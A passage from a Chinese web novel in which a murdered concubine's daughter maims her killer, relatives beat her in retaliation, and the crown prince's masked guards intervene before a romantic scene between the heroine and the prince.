“是我!”尖细的女声瞬间盖过去燕晚清的声音,只看见燕刘氏跨过门槛,步履蹒跚的走了进来,不过是短短的几步,她一下子从一个正直壮年的妇女变成了老欧。 “都是我做的,与他无关,要审便审我吧。”燕刘氏又重复了一边,她走到了燕安五步距离的地方,跪下,目光比之前沉静了很多。 不知道这隔着一道门槛,她究竟想了哪些事情。 燕民生在燕刘氏说了这些话之后,喜形于色的冲着燕安喊道:“父亲,你看她都承认了,是她杀得!” “闭嘴——!”回应他的是燕安的一巴掌,扇的很重,声音非常闷,燕民生的脸瞬间肿了起来。 可是他却像是感知不到一样,嘴里一直重复着:“她杀的,不是我。她杀的,不是我……” “……你想好了?”燕安就这么看着燕刘氏说了一句话。 燕刘氏眼眶湿润,她跪在地上给燕安行了一个夫妻之间的大礼,动作不是很标准,却已经是竭尽全力。 她将额头抵在冰凉的地面上,久久不愿意起来,燕安只能听见她骤然高声喊道。 “请夫君赐休书!” 燕刘氏竟然向燕安请求休弃! 女子只有犯了七出才会被夫家休弃,可是这燕刘氏竟然主动请求休弃,往后哪怕是死了,也不能葬于燕家坟冢之中。 燕安向后倒退了两步,过了好久好久,他看了看跪在地上浑浑噩噩的燕民生,又看了看伏地不起的燕刘氏,眼中都是疲惫。 “既然是你愿意的,那便随你心意。”他哑着嗓子冲着仆人喊道:“笔墨伺候。” 文房四宝上来,燕安很快便写好了一封休书,然后摁上了红泥手印。 燕刘氏接过休书之后,僵硬的身躯松了一口气,她转了个方向,看向了一脸冷凝的燕晚清。 “匕首是我差人去集市上买的,丫鬟们还有宋姨娘也都是我用匕首杀掉,然后让下人们丢到后院荒井里的,所有的一切的都是我做的,与我孩儿无关,郡主能否看在之前也叫过我一声二婶的份上,不要再追究了。” 燕晚清将红唇抿成了一条线,没有立刻回答。 看着面前这个妇人双眼的祈求。 过了好久,燕安见状开口:“得饶人处且饶人,可以了,这样才是最好的结果!” 这确实是最好的结果,让一个已经被燕家被休弃的妇人背锅,将八条人命悉数背在身上,这样又能救了燕民生,也能将燕家摘得干干净净,这场风波可以说是无形中就化解了。 燕刘氏,不,现在应该叫刘氏。 刘氏终于聪明了一回,在生命的最后关头。 燕晚清没有吭声,她缓缓点了点头,眼角的血丝却是怎么都掩盖不住。 “老爷,还有最后一件事情。”刘氏说道。 燕安看着她。 刘氏慢慢跪走到燕民生的面前,伸出手将他抱在了怀中,看着他身上的鲜血,她对燕安说道:“给咱们的民生找个大夫看看吧。” 燕安身子一僵,然后慢吞吞的点头:“好。” “如此这般……那罪妇便能死而瞑目了。”燕刘氏一下又一下的摸着怀中燕民生的头。 第七十二章 阿姐,我信你 燕刘氏在罪诏书上写了八人被杀的事情经过,在看到宋姨娘的时候,燕晚清整个人都肃杀了几分,多亏身边的怀玉摁住了她。 “没有问题就让她摁手印。”燕安在旁边催促道。 燕晚清深知这一切都是粉饰太平的假象,却不得不去配合,内心不由得十分悲凉起来。 她面无表情的交了出去,燕安便拿过去给燕刘氏摁了手印,他将罪诏书收好,打算明日一早便去大理寺。 就在这时。 门外听见一串沉稳急促的脚步声,只看见一身是血的小身影冲了进来。 燕安吓得往后退了几步。 那抹身影如同鬼魅出现在了门口,燕晚清定睛一看,是她的五妹。 燕红昭面色苍白如鬼,双眼猩红,四下环顾,最后落在了燕晚清的身上,声音嘶哑几乎喊不出话来:“阿,阿姐。” 燕晚清见状心被揪得生疼:“……阿姐在。” 燕红昭目光落在她身后的血色,骤然面色大变,她疾步走过去,四下看了一遍,脚步凌乱,魂不守舍,好半饷她才走过来:“是……谁?” 她在问凶手是谁。 杀了她圣母的凶手是谁。 燕刘氏眼见着燕红昭进来询问凶手,她神色淡淡,此时的语气已经十分平静了:“是我,你的生母是我杀的。” “为什么?”燕红昭死死盯住燕刘氏,眼眶迅速积聚泪水,顺着脸颊淌下来,她哽咽的嗓子生疼,挤出三个字来。 燕刘氏大概是知道自己活不久了,她十分坦然:“自然是瞧不上一个丫鬟出身的姨娘,竟然能够掌管着堂堂镇国府,瞧着烦,便杀了。” 她说的就像是捏死了一只蚂蚁那样简单。 小姑娘听完双拳捏的噼里啪啦作响,双脚跟生了根一样站在原地没有动,她低着头,眼泪一滴一滴的落在了地面上,炸开成为一朵朵水花。 燕晚清忍不住想要过去抱抱她,只是刚过去两步,就听见燕红昭嘴里在嘀咕什么。 “不对,不是你杀的,不是你……” 下一秒手上一麻,原本捏在自己手中的长剑,此刻已经被燕红昭夺了过去。 燕晚清暗叫一声不好。 只看见燕红昭翻手挽出一个漂亮的剑花,直勾勾的朝着燕刘氏——不,燕刘氏怀中的燕民生刺去! “五妹!”燕晚清疾呼。 燕安也瞪大了眼睛。 最终燕红昭的剑落在了燕民生脖颈处,她看着燕刘氏重新紧张的面容,神情愤怒:“这是你儿子的房间,这里有血,你在袒护他!” 从喉咙里撕裂出来的声音,粗噶难听,似乎是天空被雷劈开了一条缝,充满了山雨欲来之感。 燕民生被剑尖戳着脖子,明显能够感受到刺痛,他吓得浑身抖动,只知道喊:“不是我,不是我……” “我说了人是我杀的!都是我杀的,你究竟还想干什么!”此番情境之下,当局者已经没有一个能够保持冷静了,燕刘氏原本的平静只是暴风雨下的遮羞布,此刻剑尖戳到自己的心头肉,那遮羞布便荡然无存了。 燕红昭抿着唇,手里的长剑抖动:“你杀了我母亲,我要替她报仇!” 说着剑又朝着燕民生的脖子刺进去几分,吓得燕刘氏尖叫出泪。 燕安在一旁掏出罪诏书:“你不信的话看这个!” “我不信!”燕红昭摇头,她扭头转向燕晚清,本来灵动的双眸此刻只剩下灰败:“……阿姐,我信你。” 燕晚清眉头紧皱,没有吭声。 怀玉见状开口:“你阿姐她——” 燕红昭模样凶狠,语气加重:“我只想听阿姐说。” 怀玉重重的叹了一口气,闭上了嘴。 燕晚清捏紧袖子下的手,尖锐的指尖扎的掌心疼痛,她靠着疼痛来麻痹自己的良心。 她听见自己的声音:“……是刘氏。” 她看见燕红昭深深的看了她一眼,然后回头眼睛都不眨一下,手起剑下,便听见一声惨叫,燕民生的右胳膊被她直接砍断。 燕刘氏几乎是尖叫着去捂住了燕民生的断臂处,可是没有用,鲜血喷涌而出,很快将二人的衣服浸润湿去。 燕安睚眦欲裂,可是他知道现在找麻烦没有任何用,赶紧喊人去请大夫。 燕民生直接疼晕了过去,断臂在地上,手指还在无意识的动。 燕红昭将手中的长剑狠狠掷在地上,然后扭头走向燕晚清,直接双膝跪地。 “请阿姐责罚。” 燕晚清看着她宛若木偶般低着头,等待自己的发落。 此刻的内心说是心如刀绞也不过分。 最后一刻剑落下的时候,燕红昭其实是想要燕民生的命的,可是她想到了自己的难处,所以变成了废掉了他的手臂。 明年才及笄的孩子,生母在今日被杀害,她仇恨无处发泄的情况下,却依然顾全了大局。 燕晚清鼻尖一酸,潸然泪下。 刚刚她没有哭,可是此刻她再也忍不住了。 蹲坐下来,她抱住了身前的燕红昭,声音颤抖:“……对不起,对不起阿姐对不起你。” 宋姨娘那么温柔的一个人,一生只有红昭这么一个女儿,前不久还在给她物色婚事,可是现在人竟然没了…… 她甚至都没有看到燕红昭出嫁的模样,就死在了府宅之内的荒井里。 燕晚清觉得世道真的太可笑了。 燕民生被送去看大夫,燕刘氏被押送进了府内的地牢里,怀玉留下安抚府内下人,姐妹俩被她催着回去洗个热水澡。 燕晚清今日又吐了血,宋姨娘过世的事情让她忧思加重,整个人宛若走在云端。 被从歌摁着洗完澡出来,便已经飘忽所以。 从歌一摸她的头,惊呼:“小姐,好烫!” 好了一阵子的风寒,再度席卷而来。 燕晚清摆摆手示意丫鬟们继续给自己的穿衣:“今日我要去陪着五妹。”虽然燕红昭平日里开朗,可今日情况之下……她无论如何不能放任燕红昭一个人呆着。 她让从歌去吩咐厨房煮碗热粥,待会儿送过去燕红昭的院子。 眼看着带着人快要走到院子里,只听见一声声棍棒落在身体上发出的闷声,她一把推开搀扶自己的从歌,疾步走了进去。 走到院门的地方,燕晚清发誓这是她这辈子这一次这般愤怒,这般想要直接杀人! 燕红昭被人捆在了老虎凳上,嘴里塞着不知名的布,此刻两个身材壮硕的家丁正在你一下我一下轮着军棍,将她的下身打的血肉模糊,血水顺着老虎凳淌在了地上的草里,印出黑色。 而为首者是个老态龙钟的老人,可不就是这府里作威作福的老太太么!她身边站着的赫然就是燕安! 这二人竟然来到了五妹的院子,私自动刑! “住手!”燕晚清睚眦俱裂,在门口大喊一声。 第七十三章 谁给你的胆子,敢对我女儿下手 老太太和燕安听到声音看向了门口,燕安明显神色变了几分,但是老太太却直接对着那两位家丁开口:“继续。” 燕晚清眼见着那军棍又要落下:“红雾!” 下一秒一道红色的身影出现,两个家丁便被红雾打飞出去,带血的军棍也落到了红雾的手中。 老太太见状,脸色阴沉:“燕晚清,老身还没有找你算账,你现在简直是无法无天了!” 燕晚清懒得理会,她只在乎五妹的状态。 红雾扯开绳子之后,便小心翼翼的将昏迷过去的燕红昭抱在了怀中,燕晚清几乎是颤抖着手去扯掉了她嘴里的麻布。 麻布之上全是带着牙印的血迹,可见她刚刚遭受了怎样的折磨! “从歌,带五妹去我的院子。”燕晚清沉声说道。 红雾几乎是话音刚落便抬脚,之后从歌皱着眉头有些迟疑,随后还是乖巧的出了院子。 此番便只剩下燕晚清一个人站在这个院落之中,面对老太太和燕安,已经他们手底下的家丁。 燕安眯着眼睛四处看了看,说道:“胆子这么大,不会是身边还有暗卫在保护你吧。” 燕晚清皮笑肉不笑的看着燕安:“你猜。” “今日你们姐妹,一个人废了我儿子一条胳膊,一个人废了我儿子的命根子,废胳膊的那个我已经教训过了,还剩下一个,好巧不巧,自己送上了门。”燕安阴阳怪气的看着燕晚清:“既然是这样的话,咱们叔侄之间,新仇加旧恨一起算算吧。” “确实是新仇旧恨。”她看了一眼眯着眼睛,气定神闲坐在椅子上的老太太,心中冷笑不止。 老太太往年趁着家里没人,打她军棍的事情还记忆犹新。 现在她不过是洗个澡的功夫,这老太太打了五妹的军棍。 “二叔想要怎么教训本郡主呢?”她强调了郡主二字,这可就不一样了。 燕安虽说官职四品,却也没法教训圣上亲封拥有郡主府的燕晚清! 只见老太太冷笑接话:“这里哪有什么郡主,不过是长辈教育不听话的晚辈,圣上这般英明神武,怎会插手此事。” 燕安跟着说道:“娘说的是,这里可没有什么郡主,只有废了您孙子命根子的歹徒!” 他说完眼神狠厉:“这么多年过去了,咱们晚清应该很怀念这老虎凳的滋味了吧,刚刚那丫头扛了二十棍才晕了过去,你现在这副身体能抗几下呢?” 二十棍! 五妹竟然生生扛了二十棍! 她在这里挨打的时候,自己正在沐浴。 想到这里燕晚清只觉得气血翻涌,她不会让燕安和这老东西好过的。 所有伤害她身边人的人,她都要让他们付出代价! 燕安看着燕晚清的眼神,唇角露出阴翳的笑容:“小狼崽子终于露出本来的面目了,今日让我看看你身边究竟还有多少暗卫!” “伪君子!”燕晚清忍不住骂道。 今日这出复仇,最终的目的还是想看看父亲留给她的暗卫。 自从红雾出现的那一刻,燕安便按捺不住自己的内心了。 一天还没有过去,他便带上了自己的亲娘演出了这一手。 今日出了这么多事情,难为他真有心惦记自己的暗卫! 燕晚清目光冷凝,看着燕安,此刻如同在看一具尸体。 把她逼急了,她什么事情都做得出来! “哼,动手!”燕安直接挥手,只看见刚刚那两名壮硕的家丁直接朝着燕晚清冲了过来。 电光火花之间,燕晚清刚要喊出暗卫,便看见一抹身影直接挡在了自己的面前。 “我看谁敢!” 一柄寒光熠熠的红缨枪往地上狠狠一杵,发出铮铮之声,只看见孙青莲原本柔和的面孔此刻充满了肃杀,她稳稳的挡在了燕晚清的前面,抬手一拳便直接打飞一名家丁,再见红缨枪起,不过屏息间已经到了另外一名家丁的脖颈之处! 燕晚清惊呼:“母亲!” 孙青莲额头上还有轻薄的汗珠,一看便是从孙家快马加鞭赶回来的,听到家中仆人前来汇报这等大事,她直接拉来了马圈中的马,抄着昔日的武器,一路扛着红缨枪赶了回来。 一回来便看见燕安要对自己的女儿动手。 “青莲……”燕安一看见她,忍不住呢喃道。 孙青莲看着这人,目光森冷:“燕安啊燕安,当初若不是你母亲跪着求你哥哥跟我求情,你的这条命早在二十一年前就该死绝了,而今谁给你的胆子,竟敢对我女儿下手!” 声声如雷贯耳,带着燕安猛地回到了当年。 他往后退了几步,但是一想到今非昔比,自己已经是朝中四品官员,母亲也已经坐稳了家中老人的地位,他便目光沉沉看向孙青莲说道:“嫂子这身手比起当年可是退化了不少,才两下就出汗了。” 孙青莲直接无视他的话,看向了老太太:“母亲不给个说法么?!因何要对晚清动用家法?” 老太太本就不喜欢孙青莲,不喜欢她身上那股子清高的劲儿,两个儿媳妇对比之下,她更喜欢燕刘氏,因为她足够的蠢,容易被拿捏,可是孙青莲不一样,将军府出来的嫡小姐,身份高贵,脑子还好用,当年一进门便让她这个婆婆直觉难缠,不管她怎么教育,孙青莲总是能够游刃有余的化解,再加上后来她生了长子,又生了燕晚清这个妖孽出来,她眼看着这个家里没有了自己的立身之地,一气之下才回了虎丘。 眼下她的脑子也是清醒一阵,糊涂一阵,老太太心中难以压制心中的火气,冲着孙青莲骂道。 “民生被废了一条胳膊,还被废了命根子,往后二房都无后了!老身难道不该给这两个丫头片子一个狠狠的教训吗?!” 孙青莲皱眉:“两个?” 燕晚清赶紧将五妹已经被打了二十军棍送到莲园治疗的事情说了出来。 听到燕红昭被打了二十军棍。 孙青莲捏紧了手中的红缨枪,整个院子的气压一下子低了下来。 “红昭今日丧母已经是悲痛至极,你们竟然还动用家法雪上加霜!镇国府怎么说还是我孙青莲在当家吧,谁给你们的胆子!” “今日若是不给我一个说法,那便休怪我手上的血烙无情!” 第七十四章 嫂子服个软,少受皮肉之苦 老太太看着她又恢复了当年杀神的模样,气得手在空中抖动不止。 “二房被害的无后了你不管,一听见两个丫头片子被打了几下,你就要死要活的找说法,孙青莲啊孙青莲,你胳膊肘可这会往内拐!” 燕晚清见自己母亲护着自己,当下探出头来冷笑着回嘴:“这胳膊肘不往内拐,难道往外吗?下雨天老太太都知道要躲雨呢。” 老太太要是下雨天不会往家跑,那可不就是傻子么。 老太太气得直喘气:“孽障!当初就应该直接打死你!” 这话直接触到了孙青莲的逆鳞。 “当初你背着我将晚清打了五十军棍,生生要了她大半条命,若不是国师大人手里有一株千年人参吊住了一口气,此番当真是要如了你的愿。”孙青莲像是下了决心:“既然你们这般不喜欢镇国府的孩子,那么我们镇国府也不欢迎你们。” “你胆敢赶老身走!”老太太头一回听说这种话。 孙青莲冷着脸:“不然等着你把镇国府的孩子全部打死嘛?!” “大渭可从来没有当家主母赶走舅姑的说法,你这是要逆天啊孙青莲!”老太太再也坐不住了:“等忠儿回来,我定要让他把你休了!” 燕晚清一听这个,心中猛地生气一股子怒气。 “父亲若是知道老太太在家中如此做派,定然会将你直接送回虎丘老家,永生永世不得进入京都!” 还敢提她的父亲! 若是没有她的父亲,这老东西和二房哪来的富裕生活?! 靠他们那张厚如城墙的脸皮吗?! 真是让人贻笑大方。 “燕晚清,长辈说话你插什么嘴!都已经及笄这么多年了,还是这般没有教养,难怪没有人上门提亲。”燕安戳着燕晚清的痛处说道。 可谁知这直接让孙青莲翻了脸。 只见那红缨枪在她手中抬起,猛地飞速而出,如果不是燕安躲得快,这红缨枪擦着他的耳边过去,只怕直接就锁了他的喉,这条性命就要交代在这里了! 燕安回头看见那红缨枪深深的嵌入进去墙里,再摸面颊,点头一看,赫然是血! “燕安,凭你也配教育我的女儿!”孙青莲冷着一张美人脸骂道。 燕安心知,这孙青莲刚刚是真想要他的命啊。 得到这个认知后,他突然仰天大笑起来。 “好啊好啊,都撕破脸了,一家子谁的脸皮都不要了……你们仗着大哥身上的军功,俨然已经不将我和母亲放在眼里了,既然如此,那么大家都别想好过了!”燕安冷笑着看着孙青莲:“我儿子被废了,这件事情,你若是不给我一个交代,那么我们没完!” “交代?”孙青莲嗤笑一声:“我凭什么要给你交代,我的红昭若是有个三长两短,燕安,你试试看,看我孙青莲能让你活到初几!” 此话一出,暗藏杀机! 燕晚清被自己母亲的霸气所折服,她从来不知道母亲还能说出如此狠辣的话来。 她不由得感觉自己在外征战多年,不光是母亲不了解自己,自己也不了解母亲,心中不由得有些酸涩。 今日被母亲护住的滋味,真好。 但是她不会让母亲单打独斗的。 燕晚清看着燕安还有他几乎蠢蠢欲动就要喊人的手势,轻笑一声:“二叔,奉劝你一句,留得青山在不愁没柴烧,下堂妇尚且在地牢里,那罪诏书几分真几分假,你我心知肚明,若是真的闹成这个样子,大家面上可就都不好看了。” “你也知她如今在地牢之中,我儿尚且不知生死,现在我孑然一身,还怕什么!”燕安眼中狠辣,大手一挥,便见院子中突然多了很多人。 “今日这小狼崽子不给我磕头认错,谁都别想走出这个院子!” 燕晚清见状双眼微敛,眼中暗光不断闪烁。 “让我磕头认错?”她上辈子走到末路尚且都没有跪在地上跟萧鸿深求饶。 燕安让她磕头认错? 天方夜谭! 孙青莲更是直接笑出了声,她完全没有将院子中的人放在眼里:“让安平郡主给你磕头认错,燕安啊燕安,你莫不是想反?” 燕安一听这话不得了:“你这疯子,什么话也敢说!” “她见圣上都不跪,你也敢让她跪,不是想反是什么?”孙青莲盯着燕安说道。 燕安也看着孙青莲,这么多年过去了,她依然风采不减当年,牙尖嘴利也不减当年,自知动嘴皮子不是这娘俩的对手,他冷哼一声。 “嘴皮子厉害算什么,手底下见真章,今日我就是要这平日里目中无人的安平郡主给我跪下磕头认错!” 那满院子的人将母女二人团团围住。 燕安扶着自己的母亲重新落座,气定神闲的看戏。 大哥远在雁门关,哪怕以后知道了这消息,也会念在他儿子的事情上,不会对他怪罪多少。 但谁知道呢…… 外面那么乱,兴许他就回不来了呢。 燕安唇角的笑意加深。 看着孙青莲护住身后的女儿,宛若一只母鸡护着小鸡仔。 可是有什么用呢? 这些人都是他招揽江湖的亡命之徒,手上功夫狠辣,招招致命,孙青莲若是一人可能还有几分胜算,但是偏偏她身边有个又菜又弱的燕晚清,这可就说不定了。 除非——燕晚清能够召唤出她的暗卫。 可这样,他便能称心如意的看到这支大哥藏在手里多年的精锐部队了。 不管情况往哪边发展,他都坐享其成。 身边的老太太看着院子中的画面,微微蹙眉:“这样……是不是不好,再怎么说也是国忠的妻女。” “母亲你可千万不要妇人之仁,忘记她们之前是怎么对你的了?若不是她们,刘氏怎会下堂,你孙子民生又岂会现在生死不知?” 一提到民生,老太太立刻面色变了。 “打,狠狠地打!” 她指着孙青莲和燕晚清骂道。 几招下去,燕安看着孙青莲高声笑道:“嫂子服个软,让燕晚清给我磕个头,少受点皮肉之苦啊。” “你特娘的让谁给你磕头?”只听见一道饱含怒气的低沉男声从院门口响起,燕安看到那人的瞬间,直接从椅子上瘫软了下去。 第七十五章 接下来,拭目以待 来人风尘仆仆,外袍之上还有寒霜,黑色暗纹上绣着霸气威武的四爪金蛇,一生黑袍衬托着他高大威猛,俊美如铸的脸上布满阴翳,此刻他看向燕安的眼神如同在看一个死人。 燕安浑身瘫软在地上,他怎么也没有想到会在家中遇到这位爷! “太子殿——下!”他大喊一声,跪拜在地上。 萧蘋风看着满院子面面相觑,一时之间不敢轻易动手的暗卫们,低低的冷笑了一声,下一秒,他抬手食指和中指并拢在空中微微超前一招手…… 瞬息间从四面八方墙头跳下来一群带着鬼脸面具的人,他们手持着长刀,二话不说将院中燕安的手下,全部抹了脖子,遇到反抗者,鬼面人也不过是一招之内将其制服,就地格杀! “收拾干净。”萧蘋风从院门口踱步进来,吩咐道。 话音刚落,那群鬼面人直接拖着尸体四下散去,好似从未出现过一般,整个院子瞬间只剩下了四个人。 倘若不是一地的鲜血,还有四下散落的刀具,能证明刚刚的一切发生过,眼前的这一切真的可以用鬼魅二字来形容。 孙青莲和燕晚清对视了一眼,彼此眼中都有了忌惮。 燕安更是直接吓得瘫软在了地上。 他怎么也没有想到白天还和自己温和有礼说过话的太子,晚上竟然出手如此狠辣,二十几条人命,说杀便杀,而且是不留一个活口,不留一丝痕迹! 正想着,那双金线绣着花纹的长靴引入了眼帘。 他下意识的抖了一下,肩膀上便被踩住。 那矜贵很辣的男子弯腰凑了过来,语气充满了玩世不恭。 “燕安啊燕安,孤的话,你还没有回呢。” 他伸出手直接拽着燕安的发冠,将其拎着抬起了头,怎奈燕安此刻已经浑身发软,只听见萧蘋风低声呵道:“跪住了!” 燕安便再也不敢趴倒在地,老老实实跪着,任由这位爷将自己的脚踩在了自己的肩头。 “刚刚都是自家人的玩笑,小打小闹呢……”燕安额头上的汗珠瞬间淌了下来。 萧蘋风轻笑一声:“小打小闹?”他猛地抬头看向想要过来帮忙的老太太。 老太太被吓得往后退了三步,步履蹒跚,手里的龙头拐杖都跟着抖了两下,嘴巴张了张愣是一个字没有说出来。 倒是萧蘋风露出一脸柔和的笑容:“是这样吗?老夫人。” 老太太一点都不觉得他温柔,只觉得这笑容能让自己今晚做一宿噩梦,她不敢回话,想往后退,却直接退着坐到了椅子上。 旁边的嬷嬷赶紧从地上爬起来去扶她站着。 这太子跟前,岂能坐下! 老太太无封无锆的,这一坐便是大大的不敬! 见老太太哆嗦着不说话了,萧蘋风目光又落在了燕安身上,他松开了发冠,修长的手指划过了燕安的头皮,最后拽住了他散落的一缕发丝,眼睛都不眨直接大力扯下! 眼见着那一小块带着血的头皮被扯下来,燕安却是大气都不敢喘一声。 “燕大人不必紧张,一缕杂毛而已,孤帮你清理一下。”他说着放下了自己的脚,伸出了双手将燕安扯了起来,甚至还帮他拍了拍肩膀上的灰尘。 鲜血顺着燕安的额头流到了眼角,他却不敢伸出手去擦一下,只感觉世界里一片透彻一片猩红,却都没有此刻的胸口擂鼓大作来的让他更为恐惧。 “多谢殿下。”他只能点头哈腰的说道。 萧蘋风又拍了拍他的肩膀:“小打小闹不要紧,但是动刀动枪的可就不行了,孤帮你收起来,日后你要用再跟孤说一声。” “微臣不敢!”燕安浑身一软又要跪下来,被萧蘋风抓着一边的肩膀,仿佛风中摇晃的破布。 他在京都外的几年,太子殿下究竟经历了什么,为何长成了这般可怖的模样! 燕安想都不敢想。 “刚刚没看见,没有想到镇国夫人也在,孤这番有礼了。”萧蘋风转过身,像是刚看到孙青莲和燕晚清一样。 孙青莲到底是见过大风大浪的人,给他回了个礼,又催促着燕晚清行礼。 燕晚清低头翻了个白眼,嘴上轻柔的说道:“见过太子殿下,殿下金安。” 怎料此番举动一点没有逃脱萧蘋风的眼睛,他眼底闪过一丝趣味,面上一本正经说道:“夫人郡主免礼。” 孙青莲见萧蘋风有意遗忘刚刚的一幕,自然也不会不识趣,于是她说道:“太子殿下今儿个可是赶巧了,刚从娘家取了一壶陈年佳酿,不知殿下可有兴趣?” “哦?可是夫人大哥所酿?” 孙青莲点头笑道:“自然。” 萧蘋风视线越过孙青莲落在了那抹蓝色身上,弯了弯眉梢:“那可是孤有口福了,孙大将军酿酒可是神仙难求啊,几年都未曾喝过了。” “殿下请。”孙青莲伸手作请,侧开给太子让路。 萧蘋风点头超前走去,孙青莲看了一眼燕晚清,然后快步跟了上去。 院子中只剩下了三人。 燕晚清站在院门口,看着燕安扶着石桌,旁边是跟个鹌鹑一样站着的老太太还有她的贴身嬷嬷。 画面是难以想象的滑稽可笑。 地上的血迹在寒风中已经干涸结冰,血迹上面薄薄的一层透明冰渣,顺着老虎凳攀岩而上。 燕晚清一双眼扫过这个院子里的每一处地方,最后又落在了那三人身上。 “这件事情,我不会就这么算了的。” 燕安惊魂甫定:“你到底想干什么!太子是不是你请过来的,燕晚清你好大的能耐啊!” 燕晚清也不否认,她恶毒的勾出一个笑容:“咱们燕家人天生护短,二叔跟我立场不同,护的人也不同,不过心是一样的,你有你的张良计,我有我的过桥梯,本来井水不犯河水,可惜那对母子非要打破平衡,你们回到镇国府的那点心思,咱们心知肚明,今夜既然都已经撕开脸皮了,我也奉劝二叔一句,老太太年纪大了,受不了什么刺激,你也老大不小了,别有事没事把她老人家带上,好歹是朝中四品大臣,这样真的很丢面儿!” 看着燕安气得发红的脸,燕晚清更加不留情:“另外刘氏愿意替燕民生和你背锅,那是你们的事情,可是燕民生他千不该万不该动了我姨娘,他杀了姨娘这件事情,咱们不死不休!二叔不是想看看我有多大的能耐吗?” 她一字一句:“接下来,拭、目、以、待!” 第七十六章 滚一边去,死狗 燕安看着那抹纤瘦的身影消失在门口,眼里的阴毒再也抑制不住,他狠狠的用手锤了一下地面。 今夜他损失惨重,精心培育的暗卫被全部格杀! 而且还是太子殿下亲自下的手,他若是追究官员私自养暗卫这件事情,那还真是要掉层皮,哪怕他不追就自己的过错,他在太子那边也再也讨不了好处了。 既然是这样…… 那么留给他的只剩下一条选择。 燕安眼中闪过懊悔的神色。 他怎么也没有想到此时此刻应该远在东宫的太子爷,会出现在自家的宅院里,更加没有想到燕晚清竟然和太子爷之间的关系这么好,她现在执意要嫁给北疆小侯爷,是不是代表着北疆那边也心向着太子呢? 燕安感觉自己好像知道了什么不得了的东西。 如果他拿这些情报去和讨好七皇子,是不是就能弥补之前犯下的过错呢? 眼下长子已经废了,刘氏也下堂,为今之计他只能替自己再去谋一条出路了。 燕安这样想着,也顾不得自己胆战心惊的老母亲,起身掸了掸身上的灰尘,然后头也不回的离开了院子里。 此事要趁早。 越早越好。 他穿过很多下人的前厅来到了柴房门口,左右看了又看之后,确定四下无人,他弯腰拨开了木柴,赫然露出一个狗洞。 燕安咬了咬牙,弯下疼得不行的腰,从狗洞里爬到了大街上。 “汪!” 刚出来,迎面便是一条大黑狗,直接在燕安的脑门上舔了一口。 “去去去!”燕安嫌恶的摆了摆手:“滚一边去,死狗!” 大黑狗黑黝黝的眼睛里湿漉漉的,看起来十分的可爱,呜咽一声,走到了一边,看着燕安艰难的从狗洞里钻出来,然后又拿着石块将狗洞给填好,用干草盖住。 四下无人,漆黑一片,他目光坚定朝着七皇子的府上而去。 这回他手里有太子的把柄,七皇子说什么都会面见他的。 另外一边。 孙青莲让下人拿出了从将军府带出来的佳酿,亲自起身斟酒倒满,看着面前眉目俊朗的年轻人,她眼神都有些移不开。 这得亏是做了东宫太子,若是寻常家的儿郎,只怕此刻就在哪家小姐的后院养着了吧。 呸呸呸! 孙青莲赶紧暗自呸了几声,这可是当朝太子爷,她这样的想法实在是大不敬。 不过……长的是真好看啊。 燕晚清看着自家母亲一副慈母的目光一直盯着萧蘋风,赶紧用胳膊肘轻轻的推了一下她:“母亲,我也想喝酒。” 孙青莲伸出手打开了燕晚清递过来的酒杯:“你喝热水。” “母亲!”燕晚清已经闻到了酒香,见被拒绝,此时不禁有些委屈起来。 刚喊完就看见孙青莲狠狠的瞪了她一眼。 燕晚清瞬间不说话了,老实巴交的捧着热茶开始喝了起来。 因为萧蘋风的身份尊贵,所以她必须作陪。 “今日说来得亏是太子殿下到了,才能顺利化解危机,只是这么晚了,殿下到访镇国府,所为何事啊?”一杯酒下肚,孙青莲又给萧蘋风倒了第二杯酒。 萧蘋风眸光闪闪:“关于塞北之路,有一件事情不解,刚好郡主去过塞北,这个问题不解决,茶饭不思,所以连夜过来叨扰了。” 燕晚清:“……” 没有人比她更清楚这位爷为什么深夜来访。 因为昨天,前天,大前天……他也是这个点过来的。 说什么问题不解决,茶饭不思? 他有那么勤政爱民么? 燕晚清忍不住在心里猛地翻了个大白眼。 不能喝酒就算了,反正她腹中也有胎儿了。 在外面耽搁的时间有点久,燕晚清不由得有些担心五妹的情况。 二十军棍……还流了那么多血,也不知道此刻的情况如何。 孙青莲想的则是今日府内发生的事情,那刘氏还在地牢里,她得思忖着怎么去和太子说这件事情,毕竟这也不是一件小事,事关镇国府,见识到太子的雷霆手段之后,接下来的话要更加小心谨慎才行。 太子连喝了三杯,又见镇国夫人给他倒了第四杯,目光忍不住飘向了燕晚清。 他实在是不想喝酒了,这些都是说辞,真要喝一壶下去,明日早朝怕是也起不来了。 忙了一天,晚上一路飞檐走壁过来到莲园没找到人,他又找了一圈才发现,蹲墙头就看见了让他气疯了的一幕,这才有了他失去理性露出真身警告燕安的后续。 草率了。 看着杯子里再度被续满,萧蘋风疲惫的挑了一下眉头。 早知道让属下直接进去杀完了退场,他不该出来的。 “母亲,时间不早了该去看看五妹了,太子殿下有事情想问女儿,女儿留在这里便是。”燕晚清突然开口说道。 孙青莲听完立刻将手里的酒壶放了下来,然后示意燕晚清往太子那边靠靠,然后带着歉意的笑看向太子,又说了些客气话。 好不容易等到镇国夫人走了,立刻便听见酒盏落在石桌上的声音,还紧接着一声叹息。 燕晚清收回视线,回眸挑眉:“为何叹息?” 这几日的相处,她已经知道面前的男人究竟是什么品性了,赶也赶不走,索性她便拿他当室友。 萧蘋风将酒盏里的酒水重新倒回了酒壶,然后又小心翼翼的封好,一边封一边说道:“今日事情比较多,所以来晚了,乖乖你没事吧?” 当他看见那些刀剑对着燕晚清的时候,他的心都跟着一窒。 燕晚清心里有一丝微动,很快被她压了下去,她摇了摇头:“无碍,母亲一直护着。” “胡说,这里不是受伤了!” 燕晚清愣了一下,下一刻自己的左手手腕便被捏住了,在靠近手掌下方的位置,有一块指甲盖长度的伤口,沁出了血丝,现在已经干涸,只剩下一条细线。 男人眉头紧皱,将她的手托在面前细细端详,然后将刚刚还宝贝的佳酿倒出来,看向燕晚清:“帕子。” 燕晚清将袖口的帕子递过去,便看见他沾了酒水,细致的给她开始擦拭伤口,薄唇上下开合。 “可能会有点疼,你忍一忍……唔!” 燕晚清也不知道自己为什么会突然捧住面前男人的脸颊,然后毫不犹豫的将红唇印上去,她只是觉得此刻应该这样做,等意识到自己做了什么时候,她也不再退缩,索性闭上了双眼。 就这一刻,她想为了自己。 第七十七章 乖乖,这还是你第一次主动 先是她主动,后面便是男人夺回了主动权…… 直到肺腑里的空气都差点被吸干净,她挥着粉拳锤他的胸膛,男人才意犹未尽的松开了她。 一得到自由,燕晚清就大口的开始喘气。 